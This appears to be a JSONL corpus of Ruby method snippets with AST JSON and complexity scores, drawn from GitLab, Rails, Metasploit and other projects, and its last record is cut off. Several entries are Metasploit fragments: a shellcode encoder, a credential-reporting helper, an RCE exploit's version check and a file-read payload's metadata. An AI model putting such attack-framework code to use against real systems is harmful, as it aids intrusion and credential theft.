{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/unarchive_service.rb","start_line":17,"raw_source":"def execute\n      return NotAuthorizedError unless can?(current_user, :archive_project, project)\n      return AncestorArchivedError if project.ancestors_archived?\n\n      if project.update(archived: false)\n        after_unarchive\n        ServiceResponse.success\n      else\n        errors = project.errors.full_messages.to_sentence\n        return ServiceResponse.error(message: errors) if errors.presence\n\n        UnarchivingFailedError\n      end\n    end","complexity_score":24.1,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"archive_project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotAuthorizedError\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"ancestors_archived?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AncestorArchivedError\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"archived\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"after_unarchive\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"errors\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"errors\"]},\"full_messages\"]},\"to_sentence\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},\"presence\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"errors\"]}]}]}]}]},null]},{\"type\":\"const\",\"children\":[null,\"UnarchivingFailedError\"]}]}]}]}]}","id":"60459c35-a911-4708-9fed-e917f6ad95ca"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/encoders/x86/add_sub.rb","start_line":131,"raw_source":"def encode_block(_state, block)\n    # encoding shellcode\n    @data = ''\n    target = block.split(//)\n    return if target.size < 4\n\n    t = 0\n    for i in 0..3\n      t1 = target[3 - i][0].ord.to_i\n      t <<= 8\n      t += t1\n    end\n    encode_shellcode(t, @z1, @z2)\n    encoded = @data\n    return encoded\n  end","complexity_score":24.35,"ast_json":"{\"type\":\"def\",\"children\":[\"encode_block\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_state\"]},{\"type\":\"arg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@data\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"size\"]},\"<\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"for\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"i\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"t1\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[3]},\"-\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"ord\"]},\"to_i\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"t\"]},\"<<\",{\"type\":\"int\",\"children\":[8]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"t\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"t1\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"encode_shellcode\",{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"ivar\",\"children\":[\"@z1\"]},{\"type\":\"ivar\",\"children\":[\"@z2\"]}]},{\"type\":\"lvasgn\",\"children\":[\"encoded\",{\"type\":\"ivar\",\"children\":[\"@data\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encoded\"]}]}]}]}","id":"85aee930-ac36-44ca-839b-4a6c1b50e917"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/snmp/pdu.rb","start_line":366,"raw_source":"def encode\n        pdu_data = @enterprise.encode <<\n                   @agent_addr.encode <<\n                   encode_integer(@generic_trap) <<\n                   encode_integer(@specific_trap) <<\n                   @timestamp.encode <<\n                   @varbind_list.encode\n        encode_tlv(SNMPv1_Trap_PDU_TAG, pdu_data)\n    end","complexity_score":19.0,"ast_json":"{\"type\":\"def\",\"children\":[\"encode\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pdu_data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@enterprise\"]},\"encode\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@agent_addr\"]},\"encode\"]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"encode_integer\",{\"type\":\"ivar\",\"children\":[\"@generic_trap\"]}]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"encode_integer\",{\"type\":\"ivar\",\"children\":[\"@specific_trap\"]}]}]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp\"]},\"encode\"]}]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@varbind_list\"]},\"encode\"]}]}]},{\"type\":\"send\",\"children\":[null,\"encode_tlv\",{\"type\":\"const\",\"children\":[null,\"SNMPv1_Trap_PDU_TAG\"]},{\"type\":\"lvar\",\"children\":[\"pdu_data\"]}]}]}]}","id":"3b89b97d-4b08-43a2-b961-1d3136ad34f3"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/sharepoint/queries/upload_link_query.rb","start_line":79,"raw_source":"def request_uri(folder, filename)\n              split_identifier(folder) => { drive_id:, location: }\n              base = location.root? ? root_url(drive_id) : item_url(drive_id, location)\n              file_path = UrlBuilder.path(filename)\n\n              \"#{base}:#{file_path}:/createUploadSession\"\n            end","complexity_score":14.3,"ast_json":"{\"type\":\"def\",\"children\":[\"request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"folder\"]},{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"match_pattern\",\"children\":[{\"type\":\"send\",\"children\":[null,\"split_identifier\",{\"type\":\"lvar\",\"children\":[\"folder\"]}]},{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"match_var\",\"children\":[\"drive_id\"]},{\"type\":\"match_var\",\"children\":[\"location\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"base\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location\"]},\"root?\"]},{\"type\":\"send\",\"children\":[null,\"root_url\",{\"type\":\"lvar\",\"children\":[\"drive_id\"]}]},{\"type\":\"send\",\"children\":[null,\"item_url\",{\"type\":\"lvar\",\"children\":[\"drive_id\"]},{\"type\":\"lvar\",\"children\":[\"location\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UrlBuilder\"]},\"path\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_path\"]}]},{\"type\":\"str\",\"children\":[\":/createUploadSession\"]}]}]}]}","id":"0cc5c358-1cc1-443b-8e6b-044f5f399486"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/services/voice/inbound_call_builder.rb","start_line":51,"raw_source":"def create_call_message_if_needed!\n    return if @conversation.messages.voice_calls.exists?\n\n    create_call_message!\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_call_message_if_needed!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversation\"]},\"messages\"]},\"voice_calls\"]},\"exists?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"create_call_message!\"]}]}]}","id":"b063d272-11ab-4b52-82da-3b4b5453662c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/windows_deployment_services_shares.rb","start_line":241,"raw_source":"def report_creds(domain, user, pass)\n    report_cred(\n      ip: rhost,\n      port: 445,\n      service_name: 'smb',\n      user: \"#{domain}\\\\#{user}\",\n      password: pass,\n      proof: domain\n    )\n  end","complexity_score":2.5,"ast_json":"{\"type\":\"def\",\"children\":[\"report_creds\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"domain\"]},{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"pass\"]}]},{\"type\":\"send\",\"children\":[null,\"report_cred\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"int\",\"children\":[445]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"str\",\"children\":[\"smb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domain\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"pass\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"lvar\",\"children\":[\"domain\"]}]}]}]}]}","id":"7ff2e6c4-1df8-479b-8d60-544102be2df6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/rpm/repository_metadata/build_filelist_xml_service.rb","start_line":12,"raw_source":"def execute\n          super do |xml|\n            xml.package(pkgid: data[:pkgid], name: data[:name], arch: data[:arch]) do\n              xml.version epoch: data[:epoch], ver: data[:version], rel: data[:release]\n              build_file_nodes(xml)\n            end\n          end\n        end","complexity_score":23.8,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"xml\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"package\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pkgid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pkgid\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"arch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"arch\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"version\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"epoch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"epoch\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ver\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"version\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rel\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"release\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"build_file_nodes\",{\"type\":\"lvar\",\"children\":[\"xml\"]}]}]}]}]}]}","id":"5b4d3e8b-673a-43ef-9d10-f6fe40d6e67c"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/lsp/server.rb","start_line":58,"raw_source":"def configure(options)\n        @runtime.safe_autocorrect = options[:safe_autocorrect]\n        @runtime.lint_mode = options[:lint_mode]\n        @runtime.layout_mode = options[:layout_mode]\n      end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"configure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@runtime\"]},\"safe_autocorrect=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"safe_autocorrect\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@runtime\"]},\"lint_mode=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"lint_mode\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@runtime\"]},\"layout_mode=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"layout_mode\"]}]}]}]}]}","id":"be48b811-3448-4684-9a70-c880edbb569e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/json_serialization_test.rb","start_line":266,"raw_source":"def test_should_allow_except_option_for_list_of_authors\n    set_include_root_in_json(false) do\n      authors = [@david, @mary]\n      encoded = ActiveSupport::JSON.encode(authors, except: [\n        :name, :author_address_id, :author_address_extra_id,\n        :organization_id, :owned_essay_id\n      ])\n      assert_equal %([{\"id\":1},{\"id\":2}]), encoded\n    end\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_allow_except_option_for_list_of_authors\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_include_root_in_json\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"authors\",{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@david\"]},{\"type\":\"ivar\",\"children\":[\"@mary\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"encoded\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"JSON\"]},\"encode\",{\"type\":\"lvar\",\"children\":[\"authors\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"except\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"author_address_id\"]},{\"type\":\"sym\",\"children\":[\"author_address_extra_id\"]},{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"sym\",\"children\":[\"owned_essay_id\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"[{\\\"id\\\":1},{\\\"id\\\":2}]\"]},{\"type\":\"lvar\",\"children\":[\"encoded\"]}]}]}]}]}","id":"fd6ebc57-2171-4404-81c3-6a1eedf703d3"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/database_configurations/hash_config.rb","start_line":80,"raw_source":"def min_connections\n        (configuration_hash[:min_connections] || 0).to_i\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"min_connections\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"configuration_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"min_connections\"]}]},{\"type\":\"int\",\"children\":[0]}]}]},\"to_i\"]}]}","id":"fb7f5487-fcb5-4d30-b6d5-ca0c5f22a17e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/todo.rb","start_line":303,"raw_source":"def assigned?\n    action == ASSIGNED\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"assigned?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"ASSIGNED\"]}]}]}","id":"6cea785e-8745-4d39-b8f0-3291fdb4a4b6"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_queue.rb","start_line":573,"raw_source":"def requeue(options = {})\n    options.reverse_merge!(attributes.symbolize_keys)\n    MiqQueue.put(options.slice(*MiqQueue.columns_for_requeue))\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"requeue\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"reverse_merge!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attributes\"]},\"symbolize_keys\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqQueue\"]},\"put\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqQueue\"]},\"columns_for_requeue\"]}]}]}]}]}]}","id":"c8bb45d9-ae05-4fc8-9398-003c32ae165e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/wp_file_manager_rce.rb","start_line":62,"raw_source":"def check\n    return CheckCode::Unknown unless wordpress_and_online?\n\n    # check the plugin version from readme\n    check_plugin_version_from_readme('wp-file-manager', '6.9', '6.0')\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wordpress_and_online?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\"]}]}]},{\"type\":\"send\",\"children\":[null,\"check_plugin_version_from_readme\",{\"type\":\"str\",\"children\":[\"wp-file-manager\"]},{\"type\":\"str\",\"children\":[\"6.9\"]},{\"type\":\"str\",\"children\":[\"6.0\"]}]}]}]}","id":"94a51e73-fc75-45e2-a5a0-f17d91f8b54a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/namespaces/restore_base_service.rb","start_line":64,"raw_source":"def post_success\n      resource.reset\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"post_success\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"reset\"]}]}","id":"2e3dea53-d0fb-4b3f-b067-6848c489fb88"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/linux/x86/read_file.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      merge_info(\n        info,\n        'Name' => 'Linux Read File',\n        'Version' => '',\n        'Description' => 'Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor',\n        'Author' => 'hal',\n        'License' => MSF_LICENSE,\n        'Platform' => 'linux',\n        'Arch' => ARCH_X86\n      )\n    )\n\n    # Register exec options\n    register_options(\n      [\n        OptString.new('PATH', [ true, 'The file path to read' ]),\n        OptString.new('FD', [ true, 'The file descriptor to write output to', 1 ]),\n      ]\n    )\n  end","complexity_score":6.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Linux Read File\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Version\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"hal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The file path to read\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The file descriptor to write output to\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}","id":"9e7f4754-3761-40c2-b850-9e87ed42a49c"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/cookies_test.rb","start_line":1520,"raw_source":"def test_signed_cookie_with_expires_set_relatively\n    request.env[\"action_dispatch.use_cookies_with_metadata\"] = true\n\n    cookies.signed[:user_name] = { value: \"assain\", expires: 2.hours }\n\n    travel 1.hour\n    assert_equal \"assain\", cookies.signed[:user_name]\n\n    travel 2.hours\n    assert_nil cookies.signed[:user_name]\n  end","complexity_score":23.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_signed_cookie_with_expires_set_relatively\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"env\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"action_dispatch.use_cookies_with_metadata\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookies\"]},\"signed\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"user_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"str\",\"children\":[\"assain\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"hours\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"travel\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"hour\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"assain\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookies\"]},\"signed\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"travel\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"hours\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookies\"]},\"signed\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_name\"]}]}]}]}]}","id":"b3715f29-216a-415a-a3fa-4c8e238cebc5"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/users/import_data/trips.rb","start_line":39,"raw_source":"def filter_and_prepare_trips\n    valid_trips = []\n    skipped_count = 0\n\n    trips_data.each do |trip_data|\n      next unless trip_data.is_a?(Hash)\n\n      unless valid_trip_data?(trip_data)\n        skipped_count += 1\n        next\n      end\n\n      prepared_attributes = prepare_trip_attributes(trip_data)\n      valid_trips << prepared_attributes if prepared_attributes\n    end\n\n    if skipped_count > 0\n      Rails.logger.warn \"Skipped #{skipped_count} trips with invalid or missing required data\"\n    end\n\n    valid_trips\n  end","complexity_score":22.5,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_and_prepare_trips\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"valid_trips\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"skipped_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"trips_data\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"trip_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trip_data\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_trip_data?\",{\"type\":\"lvar\",\"children\":[\"trip_data\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"skipped_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"next\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"prepared_attributes\",{\"type\":\"send\",\"children\":[null,\"prepare_trip_attributes\",{\"type\":\"lvar\",\"children\":[\"trip_data\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prepared_attributes\"]},{\"type\":\"send\",\"c